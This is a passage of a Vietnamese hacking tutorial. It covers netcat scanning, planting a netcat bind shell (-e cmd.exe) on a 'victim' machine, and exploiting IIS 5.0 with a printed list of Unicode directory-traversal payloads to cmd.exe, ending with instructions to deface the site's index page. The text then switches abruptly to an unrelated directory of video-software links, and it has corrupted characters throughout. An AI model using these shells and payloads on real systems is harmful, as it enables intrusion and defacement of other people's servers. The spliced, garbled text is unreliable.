-s addr ----- giả mạo địa chỉ IP nguồn là addr

-t ---------- không gởi các thông tin phụ đi trong một phiên telnet. Khi bạn telnet đến một telnet daemon(telnetd), telnetd thường yêu cầu trình telnet client của bạn gởi đến các thông tin phụ như biến môi trường TERM, USER. ả ếu bạn sử dụng netcat với tùy chọn -t để telnet, netcat sẽ không gởi các thông tin này đến telnetd.

-u ---------- dùng UDP(mặc định netcat dùng TCP)

-v ---------- hiển thị chi tiết các thông tin về kết nối hiện tại.

-vv ---------- sẽ hiển thị thông tin chi tiết hơn nữa.

-w secs ---- đặt thời gian timeout cho mỗi kết nối là secs mili giây

-z ---------- chế độ zero I/O, thường được sử dụng khi scan port

ả etcat hổ trợ phạm vi cho số hiệu cổng. Cú pháp là cổng1-cổng2. Ví dụ: 1-8080 nghĩa là 1,2,3,..,8080

d. Tìm hiểu Netcat qua các VD:

Chộp banner của web server:

Ví dụ: nc đến 172.16.84.2, cổng 80

CODE

C:\ > nc 172.16.84.2 80

HEAD / HTTP/1.0 (tại đây bạn gõ Enter 2 lần)

HTTP/1.1 200 OK

Date: Sat, 05 Feb 2000 20:51:37 GMT

Server: Apache-AdvancedExtranetServer/1.3.19 (Linux-Mandrake/3mdk)

mod_ssl/2.8.2

OpenSSL/0.9.6 PHP/4.0.4pl1

Connection: close

Content-Type: text/html

Để biết thông tin chi tiết về kết nối, bạn có thể dùng –v (-vv sẽ cho biết các thông tin chi tiết hơn nữa)

C:\ > nc -vv 172.16.84.1 80

CODE

172.16.84.1: inverse host lookup failed: h_errno 11004: ả O_DATA

(Uả Kả OWả) [172.16.84.1] 80 (?) open

HEAD / HTTP/1.0

HTTP/1.1 200 OK

Date: Fri, 04 Feb 2000 14:46:43 GMT

Server: Apache/1.3.20 (Win32)

Last-Modified: Thu, 03 Feb 2000 20:54:02 GMT

ETag: ‘’0-cec-3899eaea’’

Accept-Ranges: bytes

Content-Length: 3308

Connection: close

Content-Type: text/html

sent 17, rcvd 245: ả OTSOCK

ả ếu muốn ghi nhật ký, hãy dùng -o. Ví dụ:

nc -vv -o nhat_ki.log 172.16.84.2 80

xem file nhat_ki.log xem thử nó đã ghi những gì nhé:

CODE

< 00000000 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d # HTTP/1.1 200 OK.

< 00000010 0a 44 61 74 65 3a 20 46 72 69 2c 20 30 34 20 46 #.Date: Fri, 04 F

< 00000020 65 62 20 32 30 30 30 20 31 34 3a 35 30 3a 35 34 # eb 2000 14:50:54

< 00000030 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 # GMT..Server: Ap

< 00000040 61 63 68 65 2f 31 2e 33 2e 32 30 20 28 57 69 6e # ache/1.3.20 (Win

< 00000050 33 32 29 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 # 32)..Last-Modifi

< 00000060 65 64 3a 20 54 68 75 2c 20 30 33 20 46 65 62 20 # ed: Thu, 03 Feb

< 00000070 32 30 30 30 20 32 30 3a 35 34 3a 30 32 20 47 4d # 2000 20:54:02 GM

< 00000080 54 0d 0a 45 54 61 67 3a 20 22 30 2d 63 65 63 2d # T..ETag: ``0-cec-

< 00000090 33 38 39 39 65 61 65 61 22 0d 0a 41 63 63 65 70 # 3899eaea``..Accep

< 000000a0 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d # t-Ranges: bytes.

< 000000b0 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a #.Content-Length:

< 000000c0 20 33 33 30 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f # 3308..Connectio

< 000000d0 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e # n: close..Conten

< 000000e0 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d # t-Type: text/htm
< 000000f0 6c 0d 0a 0d 0a # l....
dấu < nghĩa là server gởi đến netcat
dấu > nghĩa là netcat gởi đến server
Quét cổng:
Bạn hãy chạy netcat với tùy chọn –z. ẩ hưng để quét cổng nhanh hơn, bạn hãy dùng -n vì netcat sẽ không cần thấm vấn Dẩ S. Ví dụ để scan các cổng TCP(1- > 500) của host 172.16.106.1
CODE
[dt@vicki /]# nc -nvv -z 172.16.106.1 1-500
(Uẩ Kẩ OWẩ) [172.16.106.1] 443 (?) open
(Uẩ Kẩ OWẩ) [172.16.106.1] 139 (?) open
(Uẩ Kẩ OWẩ) [172.16.106.1] 111 (?) open
(Uẩ Kẩ OWẩ) [172.16.106.1] 80 (?) open
(Uẩ Kẩ OWẩ) [172.16.106.1] 23 (?) open
ẩ ếu bạn cần scan các cổng UDP, dùng -u
CODE
[dt@vicki /]# nc -u -nvv -z 172.16.106.1 1-500
(Uẩ Kẩ OWẩ) [172.16.106.1] 1025 (?) open
(Uẩ Kẩ OWẩ) [172.16.106.1] 1024 (?) open
(Uẩ Kẩ OWẩ) [172.16.106.1] 138 (?) open
(Uẩ Kẩ OWẩ) [172.16.106.1] 137 (?) open
(Uẩ Kẩ OWẩ) [172.16.106.1] 123 (?) open
(Uẩ Kẩ OWẩ) [172.16.106.1] 111 (?) open
Biến ẩ etcat thành một trojan:
Trên máy tính của nạn nhân, bạn khởi động netcat vào chế độ lắng nghe, dùng tùy chọn –l (listen) và -p port để xác định số hiệu cổng cần lắng nghe, -e <tÊn_chương_trÌnh_cần_chạy>để yêu cầu netcat thi hành 1 chương trình khi có 1 kết nối đến, thường là shell lệnh cmd.exe (đối với ẩ T) hoặc /bin/sh(đối với Unix). Ví dụ:
CODE
E:\ > nc -nvv -l -p 8080 -e cmd.exe
listening on [any] 8080...
connect to [172.16.84.1] from (Uẩ Kẩ OWẩ) [172.16.84.1] 3159
sent 0, rcvd 0: unknown socket error
Trên máy tính dùng để tấn công, bạn chỉ việc dùng netcat nối đến máy nạn nhân trên cổng đã định, chẳng hạn như 8080
CODE
C:\ > nc -nvv 172.16.84.2 8080
(Uẩ Kẩ OWẩ) [172.16.84.2] 8080 (?) open
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
E:\ > cd test
cd test
E:\test > dir /w
dir /w
Volume in drive E has no label.
Volume Serial ẩ umber is B465-452F
Directory of E:\test
[.] [..] head.log ẩ ETUSERS.EXE ẩ etView.exe
ntcrash.zIP password.txt pwdump.exe

6 File(s) 262,499 bytes
2 Dir(s) 191,488,000 bytes free
C:\test > exit
exit
sent 20, rcvd 450: ả OTSOCK

ả hư các bạn đã thấy, ta có thể làm những gì trên máy của nạn nhân rồi, chỉ cần một số lệnh cơ bản, ta đã chiếm được máy tính của đối phương, các bạn hãy xem tiếp nhé:

CODE
E:\ > nc -nvv -L -p 8080 -e cmd.exe
listening on [any] 8080...?
?

Riêng đối với ả etcat cho Win, bạn có thể lắng nghe ngay trên cổng đang lắng nghe. Chỉ cần chỉ định địa chỉ nguồn là -s<địa_chỉ_IP_của_máy_này >. Ví dụ:

CODE
netstat –a
...
TCP nan_nhan:domain nan_nhan:0 LISTEả Iả G <- cổng 53 đang lắng nghe
...
E:\ > nc -nvv -L -e cmd.exe -s 172.16.84.1 -p 53 - > lắng nghe ngay trên cổng 53
listening on [172.16.84.1] 53...
connect to [172.16.84.1] from (Uả Kả OWả) [172.16.84.1] 3163?
?

Trên Windows ả T, để đặt ả etcat ở chế độ lắng nghe, không cần phải có quyền Administrator, chỉ cần login vào với 1 username bình thường khởi động ả etcat là xong. Chú ý: bạn không thể chạy netcat với... -u -e cmd.exe... hoặc...-u -e /bin/sh... vì netcat sẽ không làm việc đúng. ả ếu bạn muốn có một UDP shell trên Unix, hãy dùng udpshell thay cho netcat.

49.- Kỹ thuật hack IIS server 5.0:

IIS server với các phiên bản từ trước đến phiên bản 5.0 đều có lỗi để ta có thể khai thác, do bây giờ hầu hết mọi người đều dùng IIS server 5.0 nên lỗi ở các phiên bản trước tôi không đề cập đến. Bây giờ tôi sẽ bày các bạn cách hack thông qua công cụ activeperl và IE, các bạn có thể vận dụng cho các trang Web ở Vả vì chúng bị lỗi này rất nhiều. Ta hãy bắt đầu nhé.

Trước hết các bạn hãy download activeperl và Unicode.pl.

Sử dụng telnet để xác định trang Web ta tấn công có sử dụng IIS server 5.0 hay không:

CODE
telnet < tên trang Web > 80
GET HEAD / HTTP/1.0

ả ếu nó không báo cho ta biết mục tiêu đang sử dụng chương trình gì thì các bạn hãy thay đổi cổng 80 bằng các cổng khác như 8080, 81, 8000, 8001.v.v…

Sau khi đã xác định được mục tiêu các bạn vào DOS gõ:

CODE
perl unicode.pl
Host: (gõ địa chỉ server mà các bạn muốn hack)
Port: 80 (hoặc 8080, 81, 8000, 8001 tùy theo cổng mà ta đã telnet trước đó).

Các bạn sẽ thấy bảng liệt kê lỗi (đã được lập trình trong Unicode.pl) như sau:

CODE
[1] /scrIPts/..%c0%af../winnt/system32/cmd.exe?/c+
[2]/scrIPts..%c1%9c../winnt/system32/cmd.exe?/c+
[3] /scrIPts/..%c1%pc../winnt/system32/cmd.exe?/c+

[4]/scrIPts/..%c0%9v../winnt/system32/cmd.exe?/c+
[5] /scrIPts/..%c0%qf../winnt/system32/cmd.exe?/c+
[6] /scrIPts/..%c1%8s../winnt/system32/cmd.exe?/c+
[7] /scrIPts/..%c1%1c../winnt/system32/cmd.exe?/c+
[8] /scrIPts/..%c1%9c../winnt/system32/cmd.exe?/c+
[9] /scrIPts/..%c1%af../winnt/system32/cmd.exe?/c+
[10] /scrIPts/..%e0%80%af../winnt/system32/cmd.exe?/c+
[11]/scrIPts/..%f0%80%80%af../winnt/system32/cmd.ex e?/c+
[12] /scrIPts/..%f8%80%80%80%af../winnt/system32/cmd.exe ?/c+
[13]/scrIPts/..%fc%80%80%80%80%af../winnt/system32/ cmd.exe?/c+
[14]/msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af../winnt/system32/cmd.exe?/c+
[15]/cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+
[16]/samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+
[17]/iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+
[18]/_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+
[19]/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+
[20]/adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+

Các bạn sẽ thấy được tất cả các lỗi trên nếu trang Web nạn nhân bị tất cả những lỗi như vậy, nếu server của nạn nhân chỉ bị lỗi thứ 13 và 17 thì bảng kết quả chỉ xuất hiện dòng thứ 13 và 17 mà thôi.

Tôi lấy VD là bảng kết quả cho tôi biết trang Web nạn nhân bị lỗi thứ 3 và 7, tôi sẽ ra IE và nhập đoạn mã tương ứng trên Address:

http://www.xxx.com/scrIPts/..%c1%p_c../winnt/system32/cmd.exe?/c+ < == lỗi dòng thứ 3

hoặc

http://www.xxx.com/scrIPts/..%c1%1_c../winnt/system32/cmd.exe?/c+ < == lỗi dòng thứ 7

Đến đây các bạn đã có thể xâm nhập vào server của nạn nhân rồi đó , các bạn hãy sử dụng lệnh trong DOS mà khai thác thông tin trong này. Thông thường các trang Web nằm ở thư mục vinetpub\wwwroot , các bạn vào được rồi thì chỉ cần thay index.html với tên hack by ….Là được rồi , đừng quậy họ nhé.

GOOKLUCK!!!!!!!!!!!!!!!

TOÀN BỘ WEBSITER CHO VIDEO

Adobe

ADITA Video Inc.	https://www.adita.com/premiere6.htm
Adobe Magazine	http://www.adobe.com/products/adobemag/archive/qaprem.html
Adobe Title Designer Tutorial	http://www.video2stream.com
AE Portal	http://msp.sfsu.edu/Instructors/rey/aepage/aeportal.html
AEFlame	http://neosapien.net/flame

After Effects 5.5	http://www.adobe.com/products/aftereffects
After Effects 5.5: Creating a showreel	web link
After Effects EXPert Center	http://studio.adobe.com/eXPertcenter/aftereffects
After Effects Freemart	http://www.aefreemart.com
Cinematographe	http://www.cinematographe.com/dig_video/index.htm
CyberMotion	http://www.cybmotion.com
Digital Editor Tutorials	http://www.digitaleditor.com/tutorials
Foss Visual Productions	http://luna.spaceports.com/~foss/tutorials/tutorials.htm
Myks Video Pages	http://www.mykaskin.freeserve.co.uk/myksvideopages
Photoshop 7.0 Roadshow	http://www.adobe.com.au/events/roadshow_ps7
Photoshop 7.01	http://www.adobe.com/products/photoshop/
Photoshop Elements 2.0	http://www.adobe.com/products/photoshopel
Pinnacle Systems Free Downloads	http://www.commotionpro.com/support/downloads/index.html (Dead Site*)
Premiere 6.5	http://www.adobe.com/products/premiere
Premiere avisynth import filter 1.1b	http://www.ox.compsoc.net/~flend/avisynth
Premiere EXPert Center	http://studio.adobe.com/eXPertcenter/premiere
Prolux Premiere 6 Tutorials	http://www.goprolux.com/tutorialmain.html
Software Cinema	http://www.software-cinema.com
Software Video	http://www.softwarevideo.com
Stephen Schleicher	http://www.mindspring.com/~schleicher
Sterling Ledet & Associates	http://www.ledet.com/coolstuff/software/
Steven Gotz	http://www.stevengotz.com/premiere.htm
SureFire Tutorials	http://www.surefiretutorials.com
Tools for Television Photoshop Toolbox	http://www.toolsfortelevision.com
Total Training	http://www.totaltraining.com/Demo/videos.html
TriLab Produtions	http://www.animationsforvideo.com/html/tutorials.htm
Using a frameserver between Premiere and TMPGEnc	http://dvd-hq.info/Frameserver.html
VideoTidbits	http://www.videotidbits.com
WrigleyVideo Adobe Premiere Tutorials	http://www.wrigleyvideo.com/videotutorial/

Animation

Aå I-MATO	http://www.sci.fi/~animato
Anim8or 0.81	http://www.anim8or.com/main/index.html
Animation Bureau	http://www.animationbureau.com

Animation World å etwork	http://www.awn.com
Brickfilms	http://www.brickfilms.com
CG-Char	http://www.cg-char.com/cgi-bin/ikonboard/ikonboard.cgi
Machinima: shooting film in virtual reality	http://www.machinima.com
StopMotionAnimation Message Board	http://www.stopmotionanimation.com
Tales Animator	http://www.dollysoft.com
The Clay Animation & Stop Motion How To Page	http://www.animateclay.com

Audio ▲

48 vs. 96 kHz	http://www.digitalprosound.com/Htm/SoapBox/soap2_Apogee.htm
AC-3 ACM Decompressor by fccHandler	http://fcchandler.home.comcast.net/AC3ACM/index.html
AC3Filter 0.70b	http://ac3filter.sourceforge.net
Amsterdam Catalog of Csound Computer Instruments	http://wings.buffalo.edu/academic/department/AandL/music/pub/accci
AnalogX	http://www.analogx.com/contents/download/audio.htm
ardour 0.9 beta 2 (Linux)	http://ardour.sourceforge.net
Audacity 1.2.0-pre**3**	http://audacity.sourceforge.net
BeSweet 1.5b2**3** / BeSweet GUI 0.**7b2**	http://dspguru.notrace.dk/
cSounds	http://www.csounds.com
Danni Din	http://go.to/DanniDin
Digital Elements VST å oise Gate	http://www.digitalelements.be/download.htm
Digital Playroom	http://www.dplay.com
Discussion of Audio Compression	http://ff123.net
DIY Project # 5 - The Thrifty Thumper (Subwoofer)	http://www.hometheaterhifi.com/volume_4_4/thriftythumper.html
diyAudio	http://www.diyaudio.com
Eastman CSound Tutorial	http://lulu.esm.rochester.edu/onlinedocs/allan.cs
echochamber	http://www.echochamber.ch/
FlexiMusic Audio Editor	http://www.fleximusic.com
FindSounds	http://www.findsounds.com
Free Cubase VST Plug Ins	http://209.211.248.205/software/vstplugs/p1.cfm
FX ReSound	http://www.jhepple.com/resound.htm
Gabriel Maldonado	http://csounds.com/maldonado
HeadAC3he 0.23a	http://darkav.de.vu

How To Put AC-3 Audio onto a CD-r	http://www.kellyindustries.com/diy_5_1.html
Hydrogen Audio	http://www.audio-illumination.org/forums/
Hypercube DTS/WAV Filter 1.0.0.2 / Transcoder 3.04	http://hypercubemx.free.fr
K-v-R	http://www.kvr-vst.com
mda-vst	http://www.mda-vst.com
MIDI Ring	http://ubikmusic.com/midiring/
MusicMachines	http://www.musicmachines.net (Dead site*)
å amp 1.2	http://www.divx-digest.com/software/namp.html
å olv's Software	http://nolv.free.fr/nolvsite/software.html
normalize 0.25	http://www.neon1.net/prog/normalizer.html
normalize 0.7.6 (alternate method)	http://www1.cs.columbia.edu/~cvaill/normalize
å ormalizeGUI 0.2	http://www.divx-digest.com/software/normalize_gui.html
Pers-o-FrontEnd 4 å ormalize 1.1	http://www.perso.com.ar
Pro Tools FREE 5.0.1 (Win98/ME only)	http://www.digidesign.com/products/prd_overview.cfm?product_id=1202
Quartz AudioMaster Freeware 4.6	web link
Ressl Engineering	http://www.ressl.com.ar/
Shibatch Audio Tools	http://shibatch.sourceforge.net
Soundkeeper	http://www.soundkeeper.com (Dead site*)
TFM Audio Filter 1.0 Beta 8	http://www.tfm.ro
The DeeSampler 2.0.1.3	http://www.deelong.com/deesampler.htm
The DirectX Files	http://www.thedirectxfiles.com
The MIDI Farm	http://www.midifarm.com
VSTi Freeware Collection	http://www.espace-cubase.org/anglais/page.php?page=freevsti
WAV-å ormalizer 1.0	http://www.linearteam.dk/default.aspx?pageid=wavnormalizer
WAVtrim 2.**10 beta 3**	http://www.logiccell.com/~mp3trim/wavtrim.htm
Xelenio VST e DX plug-in	http://www.xelenio.com/plug-in/

Audio - MP2/3 ▲

BeSweet 1.5b2**3** / BeSweet GUI 0.**7b2**	http://dspguru.notrace.dk/
Danni Din	http://go.to/DanniDin
Dmitry Kutsanov (L.A.M.E. 3.93.1)	http://mitiok.cjb.net
Does joint-stereo	http://andreas.welcomes-you.com/projects/dv/index.html

destroy Dolby Surround information ?	
Encoder Analysis and Visualization	http://www.airWindows.com/encoders
EncSpot 2.01	**http://www.guerillasoft.nstemp.com/EncSpot2** ~~**(Dead site*)**~~
HeadAC3he 0.23a	http://darkav.de.vu
MAD: MPEG Audio Decoder	http://www.underbit.com/products/mad/
Martin Pesch	http://www.rz.uni-frankfurt.de/~pesch
MP3ext 3.4b21	http://odin.mutschler.de/mp3ext
MP3Gain 1.2.1 beta	http://www.geocities.com/mp3gain
MP3trim 1.86b1 / WAVtrim 2.00	http://www.logiccell.com/~mp3trim
MP3WAV 1.0	http://www.divx-digest.com/software/mp3wav.html
MPEG Audio Scissors 1.4	http://www.tfm.ro
r3mix.net	http://users.belgacom.net/gc247244/ (Dead site*)
RazorLAME 1.15	http://www.dors.de/razorlame
tooLAME 0.2h	http://www.flexion.org/audio/toolame (Dead site*)
tooLAME 0.2l beta 02	http://mikecheng.d2.net.au
winLAME rc3	http://winlame.sourceforge.net

Audio - Ogg Vorbis ▲

BeSweet 1.5b2**3** / BeSweet GUI 0.**7b2**	http://dspguru.notrace.dk/
Danni Din	http://go.to/DanniDin
HeadAC3he 0.23a	http://darkav.de.vu
Koepi	http://www.roeder.goe.net/~koepi
Ogg Vorbis 1.0**.1**	http://www.vorbis.com
OggMux 0.9.5.**1**	http://oggmux.sourceforge.net/
Tobias' DirectShow Filters for Ogg Vorbis 0.9.9.5	http://tobias.everwicked.com
WinVorbis & Vorbix 1.5**3**	http://winvorbis.stationplaylist.com

AVI ▲

ABC VideoRoll	http://www.abc-tv.com/dv_ABC.html (Dead site*)
abcAVI Tag Editor 1.7.**2**	http://kibus1.narod.ru/frames_eng.htm?sof/abcavi/index.htm
Alparysoft Cleaner for Amateur Video 0.1 beta build 258.030508	**http://www.alparysoft.com/prod/video-cleaner.php**
AM Software	http://www.am-soft.ru
AVI Fixed 2.0 beta 1	http://www.divx-digest.com/software/avifix.html
AVI FourCC Code Changer	http://www.inmatrix.com/files/avic_download.shtml

AVI Frame Rate Changer	http://www.inmatrix.com/files/avifrate_download.shtml
AVI Info	http://www.divx-digest.com/software/terabits_avi_info.html
AVI Splitter 1.21	http://www.brizsoft.com/avisplit
AVI-Mux GUI 1.1**5.6**	web link
Avi2Bmp	http://www.daansystems.com/freestuff
AVIcodec 1.1.0.3	http://avicodec.duby.info/
Avidemux 2.0.14 (Linux)	http://fixounet.free.fr/avidemux
AviFiXP 0.2.2.5	http://www.divx-digest.com/software/avifiXP.html
AVIJoin 0.1.0.1	http://avijoin.sourceforge.net
AVIUtl 0.99 (Translation in Progress)	http://rurirurі.zone.ne.jp/aviutl
Aviutl Introduction (Translation in Progress)	http://aetermv.hp.infoseek.co.jp/aviutl.shtml
AviUtl Plugin Guide (Translation in Progress)	http://www.kjps.net/user/r2-m2/clare/dtv/aviutlpg.html
Bicubic Resize Filter 1.3b	http://www.divx-digest.com/software/bicubic_resize_filter.html
CamStudio 2.0	http://www.rendersoftware.com
CapDVHS 0.3.0.6 (Translation in Progress)	http://member.nifty.ne.jp/kishio/
compressAvi 1.05	http://www.geocities.com/compressavi
Converting AVI Files to PPM	http://www.ai.mit.edu/people/dalleyg/presentations/avitoppm
CyberLink PowerProducer 1.1 FREE!!	http://www.gocyberlink.com/english/event_2003/dg-world/index.htm
DVD2AVI 1.77.3	http://arbor.ee.ntu.edu.tw/~jackei/dvd2avi
DVD2AVI (Enhanced versions)	http://www.divx-digest.com/software/dvd2avi.html
FlaskMPEG 0.7.8.39	http://www.flaskmpeg.net
Frame Capture	http://www.jhepple.com/frame_capture.htm
GSpot 2.21 build 030711	http://www.headbands.com/gspot
ICZ (Translation in Progress)	http://cwaweb.bai.ne.jp/~icchan/icz.htm
Ivan Uskov's Software Lab	http://www.iulabs.com
Movie Type Finder 1.0	http://www.geocities.com/polygraphx/polyvid/products.html
MovieXone build 8327	http://www.aistinc.com/Products/MovieXone.asp (Dead site*)
MPEG2AVI	http://www.divx-digest.com/software/mpeg2avi.html
Stoik Video	http://www.divx-digest.com/software/stoik_video_converter.html

Converter 1.0	
VFAPI Reader Codec + Converter 1.05	http://www.divx-digest.com/software/vfapi.html
Video2Photo	**http://www.pixelchain.com/video2photo**
VideoScope 1.2	http://www.dynapel.com/com/private/vs_overview.htm
Zwei-Stein 3.01	http://www.thugsatbay.com/zweistein

AVI - AviSynth ▲

AviSynth 2.0.8 / 2.5.**3**	http://www.avisynth.org
AviSynth 2.5.2 CVS September 3 (2003)	http://cultact-server.novi.dk/kpo/avisynth/avs_cvs.html
AviSynth Filter Collection	http://www.avisynth.org/~warpenterprises
Alexander G. Balaknnin	**http://bag.hotmail.ru**
Averaging two analog captures for noise reduction	http://forum.doom9.org/showthread.php?s=&threadid=28438
AviScrIPt 2.0	http://www.aviscrIPt.de
Avisynth GUI Stereoscopic Video ScrIPt Writer	http://web.onetel.net.uk/~gedburnell/3dvideo.htm
Avisynth vertical alignment correction scrIPt for Stereoscopic 3D video	http://web.onetel.net.uk/~gedburnell/video.htm
AviSynthEditor 0.3 beta / AviSynth Switcher 0.2	http://www.lalternative.org
AVS2AVI Command Line Utility 1.31a and GUI	http://forum.doom9.org/showthread.php?s=&threadid=36768
AVSGenie 0.2.5.16	http://www.yeomanfamily.demon.co.uk/avsgenie/avsgenie.htm
Ben Rudiak Gould (Mirror)	web link
Convolution 3D 1.01	http://hellninjacommando.com/con3d
D@rk$oul's AVSGen **1.8**beta	**http://home.debitel.net/user/holger.beetz/AVSGEN.htm (Down*)**
DarkSmoother	http://forum.doom9.org/showthread.php?s=&threadid=56517
Dividee's Filters	http://users.win.be/ws200482/
Donald Graft	http://neuron2.net
Donald Graft's Anti-Flicker Filter	http://forum.doom9.org/showthread.php?s=&threadid=40293
Frame å umber Superimpose ScrIPts	http://forum.doom9.org/showthread.php?s=&threadid=53898
Frameserving -	http://forum.doom9.org/showthread.php?s=&threadid=47194

Avisynth 2.5 to Vegas/other apps	
Guava Comb	http://students.washington.edu/ldubb/computer/Read_Me_Guava_Comb.htm
IVTC4 1.01	http://www.geocities.com/daxab88
JPGVideo 1.04.0.0	http://www.ndrw.co.uk/free/jpgvideo
Kevin Atkinson	http://kevin.atkinson.dhs.org
kurosu	http://kurosu.inforezo.org/avs/
lefungus	**http://perso.wanadoo.fr/reservoir**
MarcFD	http://ziquash.chez.tiscali.fr
Mathias Born	http://me.in-berlin.de/~faphida (Dead site*)
MPEG-2 AviSynth plugin (mpeg2dec)	http://www.doom9.org http://www.labdv.com
~~**mfToon 0.32**~~	~~**http://forum.doom9.org/showthread.php?s=&threadid=53364**~~
mf's AVS Dumpster	**http://mf.creations.nl/avs**
mfToon EXPlanation	http://mf.onthanet.com/linedarkening
MIPSmooth 1.1.1	**http://cultact-server.novi.dk/kpo/avisynth/MIPSmooth.html**
MrTibs	http://www.geocities.com/mrtibsvideo/
å ic's XviD Binaries	http://nic.dnsalias.com
Peach, Grape, and Guava for AVS 2.5.x	http://forum.doom9.org/showthread.php?s=&threadid=58674
SansGrIP's Avisynth Filters	http://www.jungleweb.net/~sansgrIP/avisynth
Scharfi's Brain	**http://home.arcor.de/scharfis_brain**
Sébastien Lucas	http://membres.lycos.fr/tempask
Simon Walters	http://www.geocities.com/siwalters_uk/fnews.html
SmokesLikeaPoet	http://smokeslikeapoet.d2g.com (Dead site*)
Standards Conversion (PAL<->å TSC)	ScrIPthttp://forum.doom9.org/showthread.php?s=&threadid=35387
stickboy's AviSynth Stuff	**http://www.avisynth.org/stickboy**
SwiftAVS 1.10	http://www.swiftavs.net
Tom Barry	http://mywebpages.comcast.net/trbarry
Videographica: AVISynthesizer 0.7	http://tangentsoft.net/video/asynther
Warp Enterprises	**http://members.aon.at/archi/warpenterprises (Dead site*)**
AVI - AviSynth (Japanese)	**ENGLISH TRANSLATION IN PROGRESS!!!**
Gå B	http://homepage2.nifty.com/Gå B/
Kiraru2002's room	http://members.at.infoseek.co.jp/kiraru2002
niiyan	http://niiyan.s8.xrea.com/avisynth/warpsharp_plugin.shtml
nullinfo	http://nullinfo.s21.xrea.com
warpsharp 2003 0903	http://www.geocities.co.jp/SiliconValley-PaloAlto/2382
AVI - VirtualDub (Wish List)	▲
VirtualDub 1.5.**10**	http://www.virtualdub.org
VirtualDub	http://virtualdub.sourceforge.net

(SourceForge)	
Modified VirtualDub Capture Routine	http://www-user.rhrk.uni-kl.de/~dittrich/sync**1_5_04_sync1_04**
VirtualDubMod 1.5.**10.1**	http://virtualdubmod.sourceforge.net
VirtualDubMod 1.5.1.x audio fix & asf (19/05/03)	http://es.geocities.com/dextstuff/
Donald Graft (main filter site)	http://shelob.mordor.net/dgraft
Alain Vielle	http://www.xs4all.nl/~vielle/video
Alessandro Malanca	http://web.tiscali.it/no-redirect-tiscali/minomala/
Alparysoft	http://www.alparysoft.com/prod/video-cleaner.phtml
Ars Technica Guide: Video Capture	http://arstechnica.com/guide/audio-visual/videocapturing/vidcap-1.html
Avi2ascii	http://askywhale.free.fr/avi2ascii
Chir	http://www.geocities.com/chir_geo/dub
Chris LaRosa	http://www.geocities.com/cplarosa/video
Chris Wojdon	http://republika.pl/voidon/
CodecPage	http://www.codecpage.com
Daniel Vollmer	http://www.maven.de/code
David Roden	http://todesbaum.dyndns.org/software/
DeXT's Stuff	http://es.geocities.com/dextstuff
Dividee's Filters	http://users.win.be/ws200482/
Dmitri Schamschurko	http://wwwtcs.inf.tu-dresden.de/~dc1/conditional
Donald Graft	http://neuron2.net
DubMan 0.8	http://dubman.sourceforge.net
Emiliano Ferrari	http://www.deepabyss.org/Emiliano
EOD's VirtualDub Filter	http://eodvdf.cjb.net
fccHandler (VirtualDub-MPEG2 1.5.10 build 18160)	**http://fcchandler.home.comcast.net**
flaXen VirtualDub Filters	http://flaxen.dynIP.com/vdf/
Frameserving from VDub to Vegas/other apps	http://forum.doom9.org/showthread.php?s=&threadid=47483
fun with Temporal Cleaner	http://www.undercut.org/articles/temporalfilter.html
Gabest	http://www.gabest.org
Gilles Mouchard	http://freevcr.ifrance.com/freevcr/index-en.html
Gunnar Thalin	http://bIPhome.spray.se/gunnart/video
Jim Casaburi	http://home.earthlink.net/~casaburi/download
~~**MPEG-2 Upgrade for VirtualDub 1.5.4 build 16478**~~	~~**http://fcchandler.home.comcast.net/stable/index.html**~~

Parser	http://askywhale.free.fr/avi2ascii/parser.html
Peter Schweizer	web link
Poopity Poop's magical Anime filters:)	http://web.syr.edu/~tjmyers/animefilters.html
Rising Research	http://www.risingresearch.com/en/
ScrIPted VirtualDub Job Creation	http://www.ericphelps.com/scrIPting/samples/VirtualDub/index.html
Shaun Faulds	http://www.digtv.ws
Simon Walters	http://www.geocities.com/siwalters_uk/fnews.html
SmokesLikeaPoet	http://smokeslikeapoet.d2g.com (Dead site*)
Steve å oyce	http://home.comcast.net/~sanoyce
Steven Don	http://www.shdon.com
Thomas Hargrove	http://toonarchive.com
Tim Park	http://www.doki.ca/filters
Tom Ford	http://www.ox.compsoc.net/~flend/virtualdub
Uwe Freese	http://www.uwe-freese.de/vdubfilters.html
Valentim Batista	http://www.geocities.com/gc_timsara/
VeryWetPaint	**http://home.earthlink.net/~tacosalad/video**
Xesdeeni's Web Page (Standards Conversion)	http://www.geocities.com/xesdeeni2001
Yet Another Noise Extenuator	**http://efenstor.stratopoint.com/yane.htm**
Yang Yudong	http://pcvideo.trIPod.com/download.htm

Axogon Composer ▲

Axogon	http://www.axogon.com
Axogon Composer 0.93.1	web link
Axogon Composer User-to-User Forum	http://axogon1.hypermart.net/forum/forum.cgi
Axogon Loops	http://users.rcn.com/rofrano/Video/Axogon_Loops/axogon_loops.html
BricksInMotion	http://mywebpages.comcast.net/tomfoote3/BIM/id71.htm
Purring Studios	http://www.purringstudios.com/tutorials/axtutorial1.htm
TFå FanFilms	http://theforce.net/theater/software/axogon/

Canopus ▲

Canopus ADVC-100 Customer Reviews	web link
Canopus DV Utilities	http://www.canopus.com/US/products/free_utilities/pm_free_utilities.asp
Canopus Tutorial Archives	http://www.canopus.com/US/support/support_tutarchives.asp
Canopus Tutorials	http://www.canopus.com/US/support/support_tutorials.asp

CODECs ▲

